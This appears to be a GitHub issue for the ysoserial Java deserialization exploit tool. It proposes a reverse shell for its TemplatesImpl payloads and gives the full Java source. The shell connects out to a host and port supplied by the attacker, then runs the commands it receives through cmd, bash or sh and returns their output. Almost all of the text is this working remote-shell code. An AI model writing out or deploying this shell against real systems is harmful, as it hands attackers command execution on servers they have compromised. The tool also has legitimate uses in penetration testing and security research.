ysoserial icon indicating copy to clipboard operation
ysoserial copied to clipboard

Added reverse shell capability for TemplatesImpl payloads.

Open NickstaDB opened this issue 5 years ago • 0 comments

Added a simple reverse command shell which also supports pipes and redirection shell operators. Works with e.g. a netcat listener. For ease of reading/review the shell code is as follows:

java.net.Socket sck = null;
java.io.OutputStream out;
java.io.BufferedReader rdr;
Process proc;
String cmd = "";
String os = System.getProperty("os.name").toLowerCase(java.util.Locale.ENGLISH);

try {
	sck = new java.net.Socket(java.net.InetAddress.getByName(args[0]), Integer.parseInt(args[1]));
	out = sck.getOutputStream();
	rdr = new java.io.BufferedReader(new java.io.InputStreamReader(sck.getInputStream()));
	
	while(cmd.trim().toLowerCase(java.util.Locale.ENGLISH).equals("exit") == false) {
		try {
			out.write("> ".getBytes(), 0, "> ".getBytes().length);
			cmd = rdr.readLine();
			
			if(cmd.trim().toLowerCase(java.util.Locale.ENGLISH).equals("exit") == false) {
				if(os.contains("win")) {
					proc = new ProcessBuilder("cmd", "/c", "\"" + cmd.trim() + "\"").redirectErrorStream(true).start();
				} else {
					try {
						proc = new ProcessBuilder("/bin/bash", "-c", cmd.trim()).redirectErrorStream(true).start();
					} catch(java.io.IOException ioe) {
						if(ioe.getMessage().contains("Cannot run program")) {
							try {
								proc = new ProcessBuilder("/bin/sh", "-c", cmd.trim()).redirectErrorStream(true).start();
							} catch(java.io.IOException ioe2) {
								if(ioe2.getMessage().contains("Cannot run program")) {
									throw new java.io.IOException("Non-Windows target and neither /bin/bash or /bin/sh is present.");
								} else {
									throw ioe2;
								}
							}
						} else {
							throw ioe;
						}
					}
				}
				
				proc.waitFor();
				byte[] b = new byte[proc.getInputStream().available()];
				proc.getInputStream().read(b);
				out.write(b);
			}
		} catch(Exception ex) {
			out.write(("[-] Exception: " + ex.toString()).getBytes());
		}
	}
	
	sck.close();
} catch(Exception ex) {
	if(sck != null) {
		try {
			sck.close();
		} catch(Exception ex2) {}
	}
}

NickstaDB avatar Oct 13 '18 23:10 NickstaDB